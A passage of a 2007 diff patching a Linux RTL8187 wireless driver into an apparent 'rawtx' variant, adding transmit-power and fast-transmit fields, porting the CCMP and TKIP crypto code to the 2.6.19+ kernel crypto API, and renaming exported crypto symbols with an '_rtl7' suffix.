Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-06-08 23:30:47.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-06-08 23:30:44.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,19 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +412,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +424,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +472,26 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,13 +525,22 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } @@ -445,15 +552,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +599,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +611,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, 